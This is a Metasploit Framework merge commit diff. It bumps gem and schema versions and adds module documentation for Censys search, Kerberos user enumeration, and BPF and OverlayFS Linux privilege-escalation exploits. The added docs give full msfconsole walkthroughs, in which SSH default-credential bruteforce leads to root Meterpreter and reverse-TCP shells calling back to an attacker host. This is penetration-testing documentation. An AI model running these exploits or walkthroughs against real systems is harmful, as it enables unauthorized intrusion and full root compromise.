Merge remote-tracking branch 'upstream/master' into land-7507-uuid-arch

This commit is contained in:
Brent Cook 2016-11-20 19:08:56 -06:00
commit f313389be4
88 changed files with 4541 additions and 302 deletions

View File

@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.12.40)
metasploit-framework (4.13.1)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -14,7 +14,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.1.26)
metasploit-payloads (= 1.1.29)
metasploit_data_models
metasploit_payloads-mettle (= 0.0.8)
msgpack
@ -89,7 +89,8 @@ GEM
minitest (~> 5.1)
thread_safe (~> 0.3, >= 0.3.4)
tzinfo (~> 1.1)
addressable (2.4.0)
addressable (2.5.0)
public_suffix (~> 2.0, >= 2.0.2)
arel (6.0.3)
arel-helpers (2.3.0)
activerecord (>= 3.1.0, < 6)
@ -152,11 +153,11 @@ GEM
loofah (2.0.3)
nokogiri (>= 1.5.9)
metasm (1.0.2)
metasploit-concern (2.0.1)
metasploit-concern (2.0.2)
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-credential (2.0.4)
metasploit-credential (2.0.7)
metasploit-concern
metasploit-model
metasploit_data_models
@ -164,12 +165,12 @@ GEM
railties
rubyntlm
rubyzip
metasploit-model (2.0.0)
metasploit-model (2.0.2)
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.1.26)
metasploit_data_models (2.0.5)
metasploit-payloads (1.1.29)
metasploit_data_models (2.0.8)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
arel-helpers
@ -195,8 +196,8 @@ GEM
network_interface (0.0.1)
nokogiri (1.6.8.1)
mini_portile2 (~> 2.1.0)
octokit (4.3.0)
sawyer (~> 0.7.0, >= 0.5.3)
octokit (4.6.1)
sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.1)
openvas-omp (0.0.4)
packetfu (1.1.11)
@ -214,7 +215,8 @@ GEM
coderay (~> 1.1.0)
method_source (~> 0.8.1)
slop (~> 3.4)
rack (1.6.4)
public_suffix (2.0.4)
rack (1.6.5)
rack-test (0.6.3)
rack (>= 1.0)
rails-deprecated_sanitizer (1.0.3)
@ -232,7 +234,7 @@ GEM
thor (>= 0.18.1, < 2.0)
rake (11.3.0)
rb-readline-r7 (0.5.2.0)
recog (2.0.22)
recog (2.0.24)
nokogiri
redcarpet (3.3.4)
rex-arch (0.1.2)
@ -248,7 +250,7 @@ GEM
metasm
rex-arch
rex-text
rex-exploitation (0.1.1)
rex-exploitation (0.1.2)
jsobfu
metasm
rex-arch
@ -271,13 +273,13 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.0)
rex-socket (0.1.1)
rex-core
rex-sslscan (0.1.0)
rex-socket
rex-text
rex-struct2 (0.1.0)
rex-text (0.2.4)
rex-text (0.2.5)
rex-zip (0.1.0)
rex-text
rkelly-remix (0.0.6)
@ -301,8 +303,8 @@ GEM
rspec-support (3.5.0)
rubyntlm (0.6.1)
rubyzip (1.2.0)
sawyer (0.7.0)
addressable (>= 2.3.5, < 2.5)
sawyer (0.8.0)
addressable (>= 2.3.5, < 2.6)
faraday (~> 0.8, < 0.10)
shoulda-matchers (3.1.1)
activesupport (>= 4.0.0)
@ -319,7 +321,7 @@ GEM
timecop (0.8.1)
tzinfo (1.2.2)
thread_safe (~> 0.1)
tzinfo-data (1.2016.8)
tzinfo-data (1.2016.9)
tzinfo (>= 1.0.0)
windows_error (0.0.2)
xpath (2.0.0)

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -11,7 +11,7 @@
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 20161004165612) do
ActiveRecord::Schema.define(version: 20161107203710) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"
@ -320,7 +320,8 @@ ActiveRecord::Schema.define(version: 20161004165612) do
t.string "jtr_format"
end
add_index "metasploit_credential_privates", ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, using: :btree
add_index "metasploit_credential_privates", ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT ((type)::text = 'Metasploit::Credential::SSHKey'::text))", using: :btree
add_index "metasploit_credential_privates", ["type"], name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)", using: :btree
create_table "metasploit_credential_publics", force: :cascade do |t|
t.string "username", null: false

View File

@ -0,0 +1,214 @@
The module use the Censys REST API to access the same data accessible through web interface. The search endpoint allows searches against the current data in the IPv4, Top Million Websites, and Certificates indexes using the same search syntax as the primary site.
## Verification Steps
1. Do: `use auxiliary/gather/censys_search`
2. Do: `set CENSYS_UID XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX`
3. Do: `set CENSYS_SECRET XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX`
4. Do: `set CENSYS_SEARCHTYPE certificates`
5: Do: `set CENSYS_DORK rapid7`
6: Do: `run`
## Sample Output
#### Certificates Search
```
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
CENSYS_DORK => rapid7
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE certificates
CENSYS_SEARCHTYPE => certificates
...
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.237.41 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 64.125.235.5 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.237.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.237.40 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.227.12 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.237.38 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 23.48.13.195 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.227.14 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.252.134 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.63 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.242 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.187 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.64 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.181 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.17 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.183 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.186 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.237.41 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 64.125.235.5 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.237.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.237.40 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.227.12 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.237.38 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 23.48.13.195 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.227.14 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.252.134 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.63 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.242 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.187 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.64 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.181 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.17 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.183 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.186 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.237.41 - CN=NeXpose Security Console, O=Rapid7
...
```
### IPv4 Search
```
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
CENSYS_DORK => rapid7
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE ipv4
CENSYS_SEARCHTYPE => ipv4
[*] 197.117.5.36 - 443/https
[*] 208.118.237.81 - 443/https
[*] 206.19.237.19 - 443/https
[*] 54.214.49.70 - 80/http,443/https
[*] 208.118.237.241 - 443/https
[*] 162.220.246.141 - 443/https,22/ssh,80/http
[*] 31.214.157.19 - 443/https,22/ssh
[*] 52.88.1.225 - 443/https,22/ssh
[*] 208.118.227.12 - 25/smtp
[*] 38.107.201.41 - 443/https
[*] 52.44.56.126 - 80/http,443/https
[*] 52.54.227.6 - 443/https,80/http
[*] 23.217.253.242 - 443/https,80/http
[*] 96.6.3.45 - 80/http,443/https
[*] 23.6.73.47 - 443/https,80/http
[*] 23.78.99.243 - 80/http,443/https
[*] 23.53.51.170 - 80/http,443/https
[*] 23.62.201.47 - 443/https,80/http
[*] 2.23.50.157 - 443/https,80/http
[*] 118.215.191.13 - 80/http,443/https
[*] 2.19.185.28 - 80/http,443/https
[*] 2.18.195.99 - 443/https,80/http
[*] 23.197.196.25 - 443/https,80/http
[*] 95.100.104.181 - 443/https,80/http
[*] 2.20.37.130 - 80/http,443/https
[*] 23.194.237.34 - 443/https,80/http
[*] 2.17.140.86 - 443/https,80/http
[*] 64.125.235.5 - 25/smtp
[*] 208.118.227.32 - 80/http
[*] 2.21.129.149 - 80/http,443/https
[*] 2.20.167.33 - 80/http,443/https
[*] 95.100.139.218 - 80/http,443/https
[*] 23.38.88.202 - 443/https,80/http
[*] 2.17.184.80 - 443/https,80/http
[*] 23.59.119.23 - 80/http,443/https
[*] 2.16.14.225 - 443/https,80/http
[*] 104.113.122.33 - 443/https,80/http
[*] 23.223.44.164 - 80/http,443/https
[*] 88.221.120.214 - 443/https,80/http
[*] 23.47.36.145 - 443/https,80/http
[*] 2.23.21.254 - 80/http,443/https
[*] 208.118.237.39 - 443/https
[*] 208.118.237.40 - 443/https
[*] 208.118.237.41 - 443/https
[*] 23.54.217.47 - 80/http,443/https
[*] 96.17.254.188 - 443/https,80/http
[*] 184.25.129.65 - 443/https,80/http
[*] 104.121.167.123 - 443/https,80/http
[*] 104.94.110.63 - 443/https,80/http
[*] 104.91.11.216 - 80/http,443/https
[*] 23.38.233.47 - 80/http,443/https
[*] 52.86.110.89 - 80/http,443/https
[*] 69.192.73.47 - 443/https,80/http
[*] 184.86.57.47 - 443/https,80/http
[*] 104.86.45.180 - 443/https,80/http
[*] 184.87.72.153 - 80/http,443/https
[*] 23.66.25.47 - 80/http,443/https
[*] 23.56.162.76 - 80/http,443/https
[*] 184.87.133.242 - 443/https,80/http
[*] 23.55.74.28 - 80/http,443/https
[*] 23.6.225.84 - 80/http,443/https
[*] 23.46.133.153 - 443/https,80/http
[*] 23.10.121.47 - 443/https,80/http
[*] 104.109.35.169 - 80/http,443/https
[*] 172.227.101.182 - 80/http,443/https
[*] 184.27.23.104 - 80/http,443/https
[*] 23.49.185.47 - 80/http,443/https
[*] 23.67.172.177 - 80/http,443/https
[*] 23.62.170.161 - 443/https,80/http
[*] 23.219.71.35 - 443/https,80/http
[*] 104.82.94.233 - 443/https,80/http
[*] 184.26.73.47 - 80/http,443/https
[*] 104.68.108.237 - 80/http,443/https
[*] 23.60.39.77 - 80/http,443/https
[*] 23.66.100.92 - 80/http,443/https
[*] 23.61.28.182 - 443/https,80/http
[*] 23.42.116.233 - 80/http,443/https
[*] 104.105.14.197 - 80/http,443/https
[*] 104.103.203.240 - 80/http,443/https
[*] 104.65.57.235 - 80/http,443/https
[*] 23.41.83.224 - 80/http,443/https
[*] 184.51.185.47 - 80/http,443/https
[*] 23.67.231.142 - 80/http,443/https
[*] 208.118.237.38 - 443/https
[*] 104.76.25.28 - 80/http,443/https
[*] 23.196.125.176 - 443/https,80/http
[*] 23.40.154.224 - 80/http,443/https
[*] 23.77.33.204 - 443/https,80/http
[*] 104.88.21.48 - 80/http,443/https
[*] 173.223.134.47 - 80/http,443/https
[*] 23.4.98.72 - 80/http,443/https
[*] 23.44.97.3 - 80/http,443/https
[*] 23.203.66.142 - 443/https,80/http
[*] 23.42.216.251 - 443/https,80/http
[*] 23.42.85.25 - 80/http,443/https
[*] 173.255.195.131 - 80/http,23/telnet,25/smtp,110/pop3,53/dns,443/https,22/ssh
[*] 104.83.219.182 - 443/https,80/http
[*] 184.86.41.47 - 443/https,80/http
[*] 104.97.72.196 - 443/https,80/http
[*] 69.192.169.48 - 443/https,80/http
```
### Websites Search
```
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
CENSYS_DORK => rapid7
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE websites
CENSYS_SEARCHTYPE => websites
msf auxiliary(censys_search) > run
[+] rapid7.com - [37743]
[+] logentries.com - [45346]
[+] venturefizz.com - [106102]
[+] gild.com - [116853]
[+] sectools.org - [122125]
[+] ericzhang.me - [155622]
[+] metasploit.com - [156435]
[+] datapipe.com - [209756]
[+] routerpwn.com - [317896]
[+] proxy-base.com - [507954]
[+] config.fr - [542346]
[+] winterwyman.com - [629471]
[+] gogrid.com - [741009]
[+] wesecure.nl - [997423]
[*] Auxiliary module execution completed
```
## References
1. https://censys.io/api

View File

@ -0,0 +1,99 @@
The kerberos_enumusers module is used to enumerate valid Domain Users
via Kerberos from a wholly unauthenticated perspective. It utilises the
different responses returned by the service to identify users that exist
within the target domain. It is also able to identify whether user
accounts are enabled or disabled/locked out.
## Target
To use kerberos_enumusers, make sure you are able to connect to the
Kerberos service on a Domain Controller.
## Scenario
The following demonstrates basic usage, using a custom wordlist,
targeting a single Domain Controller to identify valid domain user
accounts.
```
msf > use auxiliary/gather/kerberos_enumusers
msf auxiliary(kerberos_enumusers) > set DOMAIN MYDOMAIN
DOMAIN => MYDOMAIN
msf auxiliary(kerberos_enumusers) > set RHOST 192.168.5.1
RHOST => 192.168.5.1
msf auxiliary(kerberos_enumusers) > set USER_FILE /job/users.txt
USER_FILE => /job/users.txt
msf auxiliary(kerberos_enumusers) > run
[*] Validating options...
[*] Using domain: MYDOMAIN...
[*] 192.168.5.1:88 - Testing User: "bob"...
[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional
pre-authentication required
[+] 192.168.5.1:88 - User: "bob" is present
[*] 192.168.5.1:88 - Testing User: "alice"...
[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional
pre-authentication required
[+] 192.168.5.1:88 - User: "alice" is present
[*] 192.168.5.1:88 - Testing User: "matt"...
[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional
pre-authentication required
[+] 192.168.5.1:88 - User: "matt" is present
[*] 192.168.5.1:88 - Testing User: "guest"...
[*] 192.168.5.1:88 - KDC_ERR_CLIENT_REVOKED - Clients credentials have
been revoked
[-] 192.168.5.1:88 - User: "guest" account disabled or locked out
[*] 192.168.5.1:88 - Testing User: "admint"...
[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in
Kerberos database
[*] 192.168.5.1:88 - User: "admint" does not exist
[*] 192.168.5.1:88 - Testing User: "admin"...
[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in
Kerberos database
[*] 192.168.5.1:88 - User: "admin" does not exist
[*] 192.168.5.1:88 - Testing User: "administrator"...
[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in
Kerberos database
[*] 192.168.5.1:88 - User: "administrator" does not exist
[*] Auxiliary module execution completed
msf auxiliary(kerberos_enumusers) >
```
## Options
The kerberos_enumusers module only requires the RHOST, DOMAIN and
USER_FILE options to run.
**The DOMAIN option**
This option is used to specify the target domain. If the domain name is
incorrect an error is returned and domain user account enumeration will fail.
An example of setting DOMAIN:
```
set DOMAIN [domain name]
```
**The USER_FILE option**
This option is used to specify the file containing a list of user names
to query the Domain Controller to identify if they exist in the target domain
or not. One per line.
An example of setting USER_FILE:
```
set USER_FILE [path to file]
```
**The Timeout option**
This option is used to specify the TCP timeout i.e. the time to wait
before a connection to the Domain Controller is established and data read.
An example of setting Timeout:
```
set Timeout [value in seconds]
```

View File

@ -0,0 +1,167 @@
## Notes
This module (and the original exploit) are written in several parts: hello, doubleput, and suidhelper.
Mettle at times on this exploit will give back an invalid session number error. In these cases payload/linux/x64/shell/bind_tcp seemed to always work.
As of PR submission, the original shell becomes unresposive when the root shell occurs. Metasm fails to compile due to fuse.h being required.
As of PR submission, killing of the process hello and doubleput has to occur manually. /tmp/fuse_mount also needs to be unmounted and deleted.
## Creating A Testing Environment
There are a few requirements for this module to work:
1. CONFIG_BPF_SYSCALL=y must be set in the kernel (default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
2. kernel.unprivileged_bpf_disabled can't be set to 1 (default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
3. fuse needs to be installed (non-default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
Using Ubuntu 16.04, simply `sudo apt-get install fuse` and you're all set!
This module has been tested against:
1. Ubuntu 16.04 linux-image-4.4.0-38-generic (pre-compile & live compile)
2. Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic (pre-compile & live compile)
This module was not tested against, but may work against:
1. Fedora 24 < [kernel-4.5.4-300.fc24](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
2. Fedora 23 < [kernel-4.5.5-201.fc23](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
3. Fedora 22 < [kernel-4.4.10-200.fc22](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
4. Debian >= 4.4~rc4-1~exp1, < Fixed in version [4.5.3-1](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=823603)
5. Ubuntu 14.04.1 <= [4.4.0-22.39](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1578705/comments/3)
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
4. Do: `use exploit/linux/local/bpf_priv_esc`
5. Do: `set session #`
6. Do: `set verbose true`
7. Do: `exploit`
## Options
**MAXWAIT**
The first stage of this priv esc can take ~35seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to 120 (seconds)
**WritableDir**
A folder we can write files to. Defaults to /tmp
**COMPILE**
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto
## Scenarios
### Ubuntu 16.04 (with Linux 4.4.0-38-generic)
#### Initial Access
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.199.130
rhosts => 192.168.199.130
msf auxiliary(ssh_login) > set username ubuntu
username => ubuntu
msf auxiliary(ssh_login) > set password ubuntu
password => ubuntu
msf auxiliary(ssh_login) > exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) Linux ubuntu 4.4.0-38-generic #57-Ubuntu SMP Tue Sep 6 15:42:33 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.199.131:39175 -> 192.168.199.130:22) at 2016-09-27 12:25:31 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
#### Escalate
In this scenario, gcc and libfuse-dev are both installed so we can live compile on the system.
msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc
msf exploit(bpf_priv_esc) > set verbose true
verbose => true
msf exploit(bpf_priv_esc) > set session 1
session => 1
msf exploit(bpf_priv_esc) > set lhost 192.168.199.131
lhost => 192.168.199.131
msf exploit(bpf_priv_esc) > exploit
[*] Started reverse TCP handler on 192.168.199.131:4444
[+] CONFIG_BPF_SYSCAL is set to yes
[+] kernel.unprivileged_bpf_disabled is NOT set to 1
[+] fuse is installed
[+] libfuse-dev is installed
[+] gcc is installed
[*] Live compiling exploit on system
[*] Writing files to target
[*] Writing hello to /tmp/hello.c
[*] Max line length is 65537
[*] Writing 2760 bytes in 1 chunks of 9767 bytes (octal-encoded), using printf
[*] Writing doubleput to /tmp/doubleput.c
[*] Max line length is 65537
[*] Writing 5182 bytes in 1 chunks of 18218 bytes (octal-encoded), using printf
[*] Writing suidhelper to /tmp/suidhelper.c
[*] Max line length is 65537
[*] Writing 352 bytes in 1 chunks of 1219 bytes (octal-encoded), using printf
[*] Compiling all modules on target
[*] Writing payload to /tmp/AyDJSaMM
[*] Max line length is 65537
[*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf
[*] Starting execution of priv esc. This may take about 120 seconds
[+] got root, starting payload
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (2412016 bytes) to 192.168.199.130
[*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:43734) at 2016-09-27 12:26:06 -0400
[*] Cleaning up...
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 192.168.199.130
OS : Ubuntu 16.04 (Linux 4.4.0-38-generic)
Architecture : x86_64
Meterpreter : x64/linux
#### Escalate w/ pre-compiled binaries
It is possible to force pre-compiled binaries, however in this case we look at a system that doesn't have libfuse-dev (ubuntu) installed
msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc
msf exploit(bpf_priv_esc) > set verbose true
verbose => true
msf exploit(bpf_priv_esc) > set session 1
session => 1
msf exploit(bpf_priv_esc) > set lhost 192.168.199.131
lhost => 192.168.199.131
msf exploit(bpf_priv_esc) > exploit
[*] Started reverse TCP handler on 192.168.199.131:4444
[+] CONFIG_BPF_SYSCAL is set to yes
[+] kernel.unprivileged_bpf_disabled is NOT set to 1
[+] fuse is installed
[-] libfuse-dev is not installed. Compiling will fail.
[*] Dropping pre-compiled exploit on system
[*] Writing pre-compiled binarys to target
[*] Max line length is 65537
[*] Writing 9576 bytes in 1 chunks of 24954 bytes (octal-encoded), using printf
[*] Max line length is 65537
[*] Writing 13920 bytes in 1 chunks of 36828 bytes (octal-encoded), using printf
[*] Max line length is 65537
[*] Writing 8840 bytes in 1 chunks of 21824 bytes (octal-encoded), using printf
[*] Writing payload to /tmp/AyDJSaMM
[*] Max line length is 65537
[*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf
[*] Starting execution of priv esc. This may take about 120 seconds
[+] got root, starting payload
[-] This exploit may require process killing of 'hello', and 'doubleput' on the target
[-] This exploit may requires manual umounting of /tmp/fuse_mount via 'fusermount -z -u /tmp/fuse_mount' on the target
[-] This exploit may requires manual deletion of /tmp/fuse_mount via 'rm -rf /tmp/fuse_mount' on the target
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (2412016 bytes) to 192.168.199.130
[*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:55522) at 2016-09-28 08:08:04 -0400
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0

View File

@ -0,0 +1,181 @@
## Creating A Testing Environment
This module has been tested against:
1. CVE-2015-1328
1. Ubuntu 14.04
1. 3.13.0-24 (binary version of exploit compiled on)
2. 3.19.0-20
3. 3.19.0-21 (not vuln, exploit failed)
4. 3.13.0-55 (not vuln, exploit failed)
2. CVE-2015-8660
1. Ubuntu 14.04
1. 3.19.0-41 (binary version of exploit compiled on)
Untested against
1. Fedora (code included to identify vuln versions)
2. Redhat (description includes vuln kernel versions)
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
4. Do: `use exploit/linux/local/overlayfs_priv_esc`
5. Do: `set session #`
6. Do: `set verbose true`
7. Do: `exploit`
## Options
**COMPILE**
If we should attempt to compile on the system. Defaults to Auto, which checks if `gcc` is installed
**WritableDir**
A folder we can write files to. Defaults to /tmp
## Scenarios
### CVE-2015-8660 against Ubuntu 14.04 with kernel 3.19.0-41
#### Initial Access
resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login
resource (/root/Text-1.txt)> set rhosts 192.168.2.156
rhosts => 192.168.2.156
resource (/root/Text-1.txt)> set username ubuntu
username => ubuntu
resource (/root/Text-1.txt)> set password ubuntu
password => ubuntu
resource (/root/Text-1.txt)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:39027 -> 192.168.2.156:22) at 2016-10-04 22:48:44 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
#### Escalate
resource (/root/Text-1.txt)> use exploit/linux/local/overlayfs_priv_esc
resource (/root/Text-1.txt)> set verbose true
verbose => true
resource (/root/Text-1.txt)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (/root/Text-1.txt)> set session 1
session => 1
resource (/root/Text-1.txt)> set target 1
target => 1
resource (/root/Text-1.txt)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (/root/Text-1.txt)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Checking if mount points exist
[+] /tmp/haxhax not created
[+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660
[+] gcc is installed
[*] Live compiling exploit on system
[*] Checking if mount points exist
[+] /tmp/haxhax not created
[+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660
[*] Writing to /tmp/svF1U2Ya.c (2356 bytes)
[*] Max line length is 65537
[*] Writing 2356 bytes in 1 chunks of 8098 bytes (octal-encoded), using printf
[*] Compiling /tmp/svF1U2Ya.c
[*] Writing to /tmp/fHCJO1ex (155 bytes)
[*] Max line length is 65537
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
[*] Exploiting...
[*] Sending stage (36 bytes) to 192.168.2.156
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:44823) at 2016-10-04 22:48:57 -0400
[+] Deleted /tmp/svF1U2Ya.c
[+] Deleted /tmp/fHCJO1ex
3986817421
viRVXKxRruOuDKwEBYAscFvJPPrtQbTO
true
zxrnfClHzgOcewXyEqQeEAcHsQmsEPtk
cqdStYFUGluqJkpgfGAkPvcVgoKTtJlY
EOzlAFTpQsoXMWIicFiKHxsVjjlFpspC
true
FgIyOJMyeREcjxpsbWkNDZNtuUGYmBtt
omnusQCOqEdrUTbMLtDmXibhFAVQuTAz
VPsVgFTxVwskShumsJkambKWMQhifDJi
whoami
root
uname -a
Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
### CVE-2015-1328 against Ubuntu 14.04 with kernel 3.13.0-24
#### Initial Access
resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login
resource (/root/Text-1.txt)> set rhosts 192.168.2.156
rhosts => 192.168.2.156
resource (/root/Text-1.txt)> set username ubuntu
username => ubuntu
